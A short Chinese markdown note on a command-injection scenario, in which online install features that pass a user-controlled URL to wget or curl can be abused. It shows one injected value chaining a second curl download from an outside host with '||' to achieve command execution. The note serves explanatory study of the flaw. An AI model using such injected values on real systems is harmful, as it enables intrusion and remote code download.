命令注入的一种场景.md

1、在线安装与卸载 这类功能

2、后台实现可能是这样，使用wget或者curl去指定url下载安装包

3、通过可控的url拼接命令
curl -SL || curl http://wwww.aa.com -o /opt

4、实现命令执行